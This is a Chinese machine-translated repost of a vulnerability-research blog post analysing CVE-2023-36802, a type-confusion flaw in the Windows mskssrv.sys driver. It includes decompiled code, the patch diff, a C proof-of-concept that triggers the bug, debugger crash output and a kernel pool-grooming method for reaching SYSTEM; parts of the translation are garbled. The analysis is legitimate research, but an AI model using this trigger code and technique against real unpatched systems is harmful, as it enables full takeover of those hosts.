将 N-day 漏洞链接以破坏所有内容:第 6 部分 — Windows 内核 LPE:获取SYSTEM


将 N-day 漏洞链接以破坏所有内容:第 6 部分 — Windows 内核 LPE:获取SYSTEM

这篇博文是关于我们在 X 上演示的 N-day全链漏洞利用中使用的漏洞的最后一篇系列文章。在这篇博文中,我们将介绍如何将权限从 VMware 的有限权限提升为 

SYSTEM,以获取主机的所有权限。该漏洞为 CVE-2023–36802,它发生在 mskssrv.sys 驱动程序中,与本系列第三篇博客中的 CVE-2023–29360 目标相同。

该漏洞在野外被利用,并被多个威胁情报组织检测到。虽然 IBM X-Force 的分析报告已于 10 月发布,chompie1337 的 PoC 代码已于 10 月发布,但自 2023 年 9 月以来,我们的威胁情报服务 Fermium-252 同时存在 PoC 和利用此漏洞。


回想一下第三篇博客

由于此漏洞的目标驱动因素与本系列的第三篇博客相同,因此将跳过一些重复的内容,包括通信过程 DeviceIoControl 、请求的 Ioctl 处理过程等。因此,我们强烈建议在开始这篇博客之前阅读第三篇博客,其中介绍了 CVE-2023-29360。

如第三篇博客所述,用户可以访问 FSRendezvousServer::PublishTx if is IoControlCode 0x2F0408 .该函数如下。

__int64 __fastcall FSRendezvousServer::PublishTx(FSRendezvousServer *this, struct _IRP *irp){  ...  /**    Validates input buffer  **/   FsContext2 = (const struct FSRegObject *)obj->FileObject->FsContext2;  // Find the "FsContext2" is in the FSRendezvousServer object  isfindobj = FSRendezvousServer::FindObject(this, FsContext2);  KeReleaseMutex((PRKMUTEX)((char *)this + 8), 0);  if ( isfindobj )  {    (*(void (__fastcall **)(const struct FSRegObject *))(*(_QWORD *)FsContext2 + 0x38i64))(FsContext2);// Lock FsStreamReg    // [*]. Call FSStreamReg::PublishTx    result = FSStreamReg::PublishTx(FsContext2, data);

验证用户提供的值后, FSStreamReg::PublishTx 将调用 with FsContext2 作为第一个参数。也就是说, FsContext2 用作函数 this 的 FSStreamReg::PublishTx 值,我们可以推断出 FsContext2 应该是与 FSStreamReg 相关的类型的对象。

要设置 as object 的 FsContext2 值, FSRendezvousServer::InitializeStream 应该调用,当 IoControlCode 是 0x2F0404 时可以 FSStreamReg 访问。

__int64 __fastcall FSRendezvousServer::InitializeStream(FSRendezvousServer *this, struct _IRP *irp){  ...  // Allocate Buffer  buffer = (FSStreamReg *)operator new(0x1D8ui64, (enum _POOL_TYPE)irp, 0x67657253u); // The size of FSStreamReg is `0x1D8`  if ( buffer )    FSStreamReg_obj = (volatile signed __int32 *)FSStreamReg::FSStreamReg(buffer); // Setup FSStreamReg  if ( !FSStreamReg_obj )    return 0xC000009A;  // Initialize FSStreamReg  if ( (unsigned int)Feature_Servicing_TeamsUsingMediaFoundationCrashes__private_IsEnabled() )    result = FSStreamReg::Initialize((FSStreamReg *)FSStreamRegObj, irp, v11, data, irp->RequestorMode);  else    result = FSStreamReg::Initialize((FSStreamReg *)FSStreamRegObj, v10, data, irp->RequestorMode);   ...  // Save FSStreamReg_obj to FsContext2  obj->FileObject->FsContext2 = (PVOID)FSStreamReg_obj;  _InterlockedIncrement(FSStreamReg_obj + 6);  ...

CVE-2023–36802

如上所述, obj->FileObject->FsContext2 被视为 FSStreamReg 类型。然而,这个假设正确吗?

让我们看一下 FSRendezvousServer::FindObject ,它检查 FsContext2 is in FSRendezvousServer 对象。

char __fastcall FSRendezvousServer::FindObject(FSRendezvousServer *this, __int64 FsContext2){  if ( FsContext2 )  {    if ( *(_DWORD *)(FsContext2 + 0x30) == 1 )     {      // When the type number of FsContext2 is `1`      ...      while ( 1 ) // Search RegObjectList      {        Type1RegObj = *(_QWORD **)(this + 0x90);        if ( !Type1RegObj || (_QWORD *)*Type1ListHead == Type1ListHead || Type1RegObj == Type1ListHead )          break;        if ( Type1RegObj != (_QWORD *)8 && Type1RegObj[3] == FsContext2 ) // FOUND the FsContext2!!!          return 1;        FSRegObjectList::MoveNext((FSRendezvousServer *)((char *)this + 0x70));      }    }    else     {      // When the type number of FsContext2 is NOT `1`      ...      while ( 1 ) // Search RegObjectList      {        Type2RegObj = *(_QWORD **)(this + 0x60);        if ( !Type2RegObj || (_QWORD *)*Type2ListHead == Type2ListHead || Type2RegObj == Type2ListHead )          break;        if ( Type2RegObj != (_QWORD *)8 && Type2RegObj[3] == FsContext2 ) // FOUND the FsContext2!!!          return 1;        FSRegObjectList::MoveNext((FSRendezvousServer *)((char *)this + 0x40));      }    }  }  return 0;}

FSRendezvousServer::FindObject 显式显示有两种类型的对象,具体取决于类型编号,位于 的 0x30 FsContext2 偏移量处。从 FSStreamReg::FSStreamReg type 的 FSStreamReg 构造函数中,我们可以知道 的 FSStreamReg 类型编号是 2 

__int64 __fastcall FSStreamReg::FSStreamReg(__int64 FSStreamReg){  ...  *(_QWORD *)FSStreamReg = &FSStreamReg::`vftable';  *(_QWORD *)(FSStreamReg + 0x20) = FSStreamReg;  *(_DWORD *)(FSStreamReg + 0x30) = 2;        // Type == 2  *(_DWORD *)(FSStreamReg + 0x34) = 0x1D8;    // Size == 0x1D8  ...  return FSStreamReg;}

在分析 mskssrv.sys 了驱动程序之后,我们可以找到类型编号为 1 的 FSContextReg 对象。

__int64 __fastcall FSRendezvousServer::InitializeContext(FSRendezvousServer *this, struct _IRP *a2){  ...  FSContextReg = (__int64)operator new(0x78ui64, (enum _POOL_TYPE)a2, 0x67657243u);  if ( FSContextReg )  {    ...    *(_QWORD *)FSContextReg = &FSContextReg::`vftable'; // Setup VTable    *(_QWORD *)(FSContextReg + 0x20) = FSContextReg;    *(_DWORD *)(FSContextReg + 0x30) = 1;    // Type == 1    *(_DWORD *)(FSContextReg + 0x34) = 0x78; // Size == 0x78    ...  }  ...  obj->FileObject->FsContext2 = (PVOID)FSContextReg;  ...}

从 ( FSContextReg 是 0x78 字节 和 FSStreamReg 是 0x1D8 ) 的 FSContextReg 大小,我们可以知道 FSContextReg 不是 FSStreamReg 的继承。由于子类继承了父类中的所有字段,因此子类的大小应相等或更大。此外,在 FSRendezvousServer::FindObject 之后还有其他验证例程, FSContextReg 可以用作 的第一个 FSStreamReg::PublishTx 参数。因此,类型混淆漏洞出现。

如果发生类型混淆, FSStreamReg::PublishTx 则会将对象视为 FSContextReg FSStreamReg 类型,尽管这两个对象没有继承关系。

__int64 __fastcall FSStreamReg::PublishTx(__int64 FsStreamReg, __int64 data){  //  result = FSStreamReg::CheckRecycle(FsStreamReg, data);  ...  // Out-Of-Bound Access  kEvent = *(struct _KEVENT **)(FsStreamReg + 0x130);  if ( kEvent )  {    KeSetEvent(kEvent, 0, 0);    FSFrameMdlobj = 0i64;LABEL_21:    if ( FSFrameMdlobj )    {      FSFrameMdl::~FSFrameMdl(FSFrameMdlobj);      operator delete(FSFrameMdlobj);    }  }  ...} __int64 __fastcall FSStreamReg::CheckRecycle(__int64 this, __int64 data){  if ( data )  {    value1 = *(_DWORD *)(data + 0x24);    if ( value1 )    {      ...      // Out-Of-Bound Access      v12 = *(_QWORD *)(this + 0x1B0);      v13 = v5 + *(_DWORD *)(this + 0x1BC);      v14 = *(int *)(this + 0x1B8);  ...}

由于两个对象之间的大小不同,类型混淆会导致越界访问漏洞。攻击者可以利用此原语通过创建内存布局来获取 SYSTEM 权限。

CVE-2023–36802 补丁

比较模块和版本:ntoskrnl.exe(x64)、10.0.19041.3086、10.0.19041.3448

-char __fastcall FSRendezvousServer::FindObject(FSRendezvousServer *this, __int64 FsContext2)+char __fastcall FSRendezvousServer::FindStreamObject(FSRendezvousServer *this, __int64 FsContext2){  if ( FsContext2 )  {-    if ( *(_DWORD *)(FsContext2 + 0x30) == 1 ) // Check Type 1-    {-      FsContextList = (_QWORD *)((char *)this + 0x80);-      /* Search Linked List to find FsContext2 */-    }-    else+    if ( *(_DWORD *)(FsContext2 + 0x30) == 2 ) // Check Type 2    {      FsStreamList = (_QWORD *)((char *)this + 80);      /* Search Linked List to find FsContext2 */    }  }  return 0;}

名称 FSRendezvousServer::FindObject 更改为 FSRendezvousServer::FindStreamObject ,仅搜索类型为 number 2 的 FSStreamReg 对象。

触发漏洞

要触发此漏洞,我们需要创建一个 FSContextReg 对象。可以在 中 FSRendezvousServer::InitializeContext 创建此对象,称为 when IoControlCode 0x2F0400 is 。

__int64 __fastcall FSInitializeContextRendezvous(struct _IRP *a1){  ...  RendezvousServerObj = operator new(0xA0ui64, v3, 0x73767A52u);  if(RendezvousServerObj){    // Initialized RendezvousServerObj   }  ServerObj_1C0005048 = RendezvousServerObj_;  ...  // Create FSContextReg Object in `FSRendezvousServer::InitializeContext`  result = FSRendezvousServer::InitializeContext(RendezvousServerObj, a1);  FSRendezvousServer::Release(RendezvousServerObj);  return result;}

之后,我们只需触发一个易受攻击的函数,包括 FSRendezvousServer::PublishTx ( 0x2F0408 ), FSRendezvousServer::PublishRx ( 0x2F040C ), FSRendezvousServer::ConsumeTx ( 0x2F0410 ), ( 0x2F0414 )。 FSRendezvousServer::ConsumeRx

下面 PoC 用于 FSStreamReg::PublishRx 触发类型混淆。

#define inputsize 0x100#define outputsize 0x100int wmain(int argc, wchar_t** argv) {  WCHAR DeviceLink[256] = L"\\?\ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}\{96E080C7-143C-11D1-B40F-00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196}";  HANDLE hDevice = NULL;  NTSTATUS ntstatus = 0;  hDevice = CreateFile(    DeviceLink,    GENERIC_READ | GENERIC_WRITE,    0,    NULL,    OPEN_EXISTING,    0x80,    NULL  );    PCHAR inputBuffer = (PCHAR)malloc(inputsize);  PCHAR outputBuffer = (PCHAR)malloc(outputsize);    printf("[+] Initialize Rendezvousn");  memset(inputBuffer, 0, inputsize);  *(DWORD*)(inputBuffer + 0x00) = 0xffffffff; // &1 == Non ZERO  *(DWORD64*)(inputBuffer + 0x08) = GetCurrentProcessId(); // Current Process ID  *(DWORD64*)(inputBuffer + 0x10) = 0x4343434344444444; // Some Marker  *(DWORD64*)(inputBuffer + 0x18) = 0; // 0  ntstatus = DeviceIoControl(hDevice, 0x2F0400, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL); // FSInitializeContextRendezvous    printf("[+] Publish RX --> Trigger OOB Access Vulnerabilityn");  memset(inputBuffer, 0, inputsize);  *(DWORD*)(inputBuffer + 0x20) = 1; // maxCnt  *(DWORD*)(inputBuffer + 0x24) = 1; // CNT <= maxCnt   *(DWORD64*)(inputBuffer + 0x30) = 0; // Some Value  ntstatus = DeviceIoControl(hDevice, 0x2F040C, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL); // PublishRx}

如果验证程序在 上 mskssrv.sys 启用,则可以看到崩溃。

1: kd> rrax=ffffd5019f2d1668 rbx=0000000000000000 rcx=ffffbf8b77206f80rdx=ffffbf8b76e02b00 rsi=ffffbf8b77206f80 rdi=0000000000000000rip=fffff80ffac9c9f7 rsp=ffffd5019f2d1610 rbp=ffffbf8b77045e78 r8=0000000000000001  r9=0000000000000001 r10=0000000000000000r11=ffffffffffffffff r12=0000000000000000 r13=ffffbf8b76d60cd0r14=ffffbf8b77207108 r15=ffffbf8b76e02b00iopl=0         nv up ei pl nz na pe nccs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040202MSKSSRV!FSStreamReg::PublishRx+0x43:fffff80f`fac9c9f7 4d3936          cmp     qword ptr [r14],r14 ds:002b:ffffbf8b`77207108=???????????????? 1: kd> dq @rcx L18ffffbf8b`77206f80  fffff80f`fac941b8 ffffbf8b`77204fe0ffffbf8b`77206f90  ffffbf8b`77204fe0 00000000`00000002ffffbf8b`77206fa0  ffffbf8b`77206f80 00000000`00000001ffffbf8b`77206fb0  00000078`00000001 ffffbf8b`7681f300ffffbf8b`77206fc0  00000000`00000000 ffffbf8b`77204fd0ffffbf8b`77206fd0  00000000`00000001 00000000`00001b80ffffbf8b`77206fe0  43434343`44444444 00000000`00000000ffffbf8b`77206ff0  00000000`00000000 b3b3b3b3`b3b3b3b3ffffbf8b`77207000  ????????`???????? ????????`????????ffffbf8b`77207010  ????????`???????? ????????`????????ffffbf8b`77207020  ????????`???????? ????????`????????ffffbf8b`77207030  ????????`???????? ????????`???????? 1: kd> prKDTARGET: Refreshing KD connection *** Fatal System Error: 0x00000050                       (0xFFFFBF8B77207108,0x0000000000000000,0xFFFFF80FFAC9C9F7,0x0000000000000002) Driver at fault: ***   MSKSSRV.sys - Address FFFFF80FFAC9C9F7 base at FFFFF80FFAC90000, DateStamp 75a6d2bb. A fatal system error has occurred.Debugger entered on first try; Bugcheck callbacks have not been invoked. A fatal system error has occurred. rax=0000000000000000 rbx=0000000000000003 rcx=0000000000000003rdx=0000000000000070 rsi=0000000000000000 rdi=ffffd70001988180rip=fffff800470171e0 rsp=ffffd5019f2d0a28 rbp=ffffd5019f2d0b90 r8=0000000000000065  r9=0000000000000000 r10=0000000000000000r11=0000000000000010 r12=0000000000000003 r13=ffffbf8b77207108r14=0000000000000000 r15=ffffbf8b7689d080 iopl=0         nv up ei ng nz na po nccs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040286nt!DbgBreakPointWithStatus:fffff800`470171e0 cc              int     3

编写EXP

为了利用这个漏洞,我们需要分析越界区域中的数据是如何被使用的,并找到合适的代码来创建一个良好的原语来利用。最终,我们可以在 中找到任意 FSStreamReg::PublishRx 递减基元。

__int64 __fastcall FSStreamReg::PublishRx(__int64 this, __int64 data){  ...  FrameListHead = (_QWORD *)(this + 0x188);  if ( (_QWORD *)*FrameListHead == FrameListHead ) // Empty List    return (unsigned int)0xC0000010;  for ( i = 0; i < *(_DWORD *)(data + 0x24); ++i )  {    // Save 0x188 Value to 0x198    if ( (_QWORD *)*FrameListHead != FrameListHead )      *(_QWORD *)(this + 0x198) = *FrameListHead;    while ( 1 )    {      FrameMDL = *(_QWORD *)(this + 0x198);      if ( !FrameMDL || (_QWORD *)*FrameListHead == FrameListHead || (_QWORD *)this_0x198 == FrameListHead )        break;      // Check some values      if ( *(_QWORD *)(FrameMDL + 0x20) == *(_QWORD *)(136i64 * i + data + 0x30) )      {        some_flag = *(_DWORD *)(FrameMDL + 0xD0);        FSFrameMdl::UnmapPages(FrameMDL);        // some_flag == true        if ( some_flag )        {          ObfDereferenceObject(*(PVOID *)(this + 0x38)); // Dereference EPROCESS structure          ObfDereferenceObject(*(PVOID *)(this + 0x1C8)); // [*]. Arbitrary Decrement        }      }      ...

FSStreamReg::PublishRx 访问 0x188 和 0x198 偏移量 以查找合适的 FrameMDL 对象。因为 0x188 和 0x198 offset 位于出界区域,我们可以将可控值放在其中。因此,可以很容易地满足条件,并且我们能够达到任意递减( [*] )的代码。该 ObfDereferenceObject 函数将递减对象在 this + 0x1C8 处的引用计数,该对象也位于出界区域。

但是,有一个障碍。由于对象的 FSContextReg 大小是 0x90 字节,包括池标头( 0x10 字节),因此它将使用 LFH(低碎片堆)。这意味着我们应该分配 0x90 字节来创建内存布局。为了创建内存布局,我们可以使用命名管道对象,该对象被广泛用于利用 NonPagedPool 的漏洞,因为在 FSContextReg 中 NonPagedPool 分配。

如果内存布局由命名的管道对象操作,则如下图所示。

将 N-day 漏洞链接以破坏所有内容:第 6 部分 — Windows 内核 LPE:获取SYSTEM

如上图所示,偏移 0x1C8 量放置在用户无法控制的命名管道对象的标题区域中。为了解决这个问题,我们尝试找到其他适合这种情况的合适对象,并找到了一个 ThreadName 对象。

NTSTATUS __stdcall NtSetInformationThread(HANDLE ThreadHandle, THREADINFOCLASS ThreadInformationClass, PVOID ThreadInformation, ULONG ThreadInformationLength){  ...  switch(ThreadInformationClass)    ...    case ThreadNameInformation:      if ( ThreadInformationLength == 16 )      {        result = ObReferenceObjectByHandleWithTag(ThreadHandle, 0x400u, (POBJECT_TYPE)PsThreadType, prev_mode, 0x79517350u, &ThreadObj, 0i64);        ...        // Validate User Address ~~~        *(UNICODE_STRING *)ThreadName_Unicode = *(UNICODE_STRING *)ThreadInformation;        ...        // [1]. Allocate Non-Paged Pool with arbitrary size        NameMem = (char *)ExAllocatePoolWithTag(NonPagedPoolNx, ThreadName_Unicode.Length + 16i64, 0x6D4E6854u);        ThreadName = (_UNICODE_STRING *)NameMem;        if(ThreadName)        {          // [2]. User data Starts from +0x10          NameArea = (wchar_t *)(NameMem + 0x10);           ThreadName->Buffer = NameArea;          ThreadName->Length = ThreadName_Unicode.Length;          ThreadName->MaximumLength = ThreadName_Unicode.Length;          // Copy User Data to the memory          memmove(NameArea, ThreadName_Unicode.Buffer, ThreadName_Unicode.Length);          ...          OldName = ThreadObj->ThreadName;          ThreadObj->ThreadName = ThreadName;          ...          // Free the memory for the previous name          if ( OldName )            ExFreePoolWithTag(OldName, 0x6D4E6854u);          ...        }  ...}

ThreadName 可以通过 NtSetInformationThread 系统调用来设置 ThreadNameInformation(0x26) 。此对象以所需的 size( ) 分配, NonPagedPool 并且该对象的数据是完全可控的,除了第一个 0x10 字节 ( [2] )。 [1] 此外,还有 ThreadName 对象的自由代码,这对于创建孔 ( ) 很有用 [8] 。

将 N-day 漏洞链接以破坏所有内容:第 6 部分 — Windows 内核 LPE:获取SYSTEM

使用这个对象,我们可以完全处理偏移 0x188 量 和 0x1C8 处的值,并成功触发任意递减。通过这个任意递减原语,我们可以将 PreviousMode 当前线程对象的 从 更改为 User(1) Kernel(0) 。从这里,我们可以使用任何众所周知的方法通过 Kernel 线程权限提升权限。

结论

这篇文章提供了对 CVE-2023–36802 的分析,这是我们为期N-day的全链漏洞利用的最后一个系列。虽然这个博客系列结束了,但我们总是分析世界上的威胁,并将与其他有趣的研究主题的其他博客文章一起回来。

参考

https://github.com/chompie1337/Windows_MSKSSRV_LPE_CVE-2023-36802

https://github.com/Nero22k/cve-2023-36802


https://securityintelligence.com/x-force/critically-close-to-zero-day-exploiting-microsoft-kernel-streaming-service/


https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2023-36802


https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2023/CVE-2023-36802.html


Chaining N-days to Compromise All: Part 6 — Windows Kernel LPE: Get SYSTEMhttps://medium.com/@vr-blog/chaining-n-days-to-compromise-all-part-6-windows-kernel-lpe-get-system-83cd756ce90a



感谢您抽出

将 N-day 漏洞链接以破坏所有内容:第 6 部分 — Windows 内核 LPE:获取SYSTEM

.

将 N-day 漏洞链接以破坏所有内容:第 6 部分 — Windows 内核 LPE:获取SYSTEM

.

将 N-day 漏洞链接以破坏所有内容:第 6 部分 — Windows 内核 LPE:获取SYSTEM

来阅读本文

将 N-day 漏洞链接以破坏所有内容:第 6 部分 — Windows 内核 LPE:获取SYSTEM

点它,分享点赞在看都在这里

原文始发于微信公众号(Ots安全):将 N-day 漏洞链接以破坏所有内容:第 6 部分 — Windows 内核 LPE:获取SYSTEM

版权声明:admin 发表于 2024年6月3日 上午11:46。
转载请注明:将 N-day 漏洞链接以破坏所有内容:第 6 部分 — Windows 内核 LPE:获取SYSTEM | CTF导航

相关文章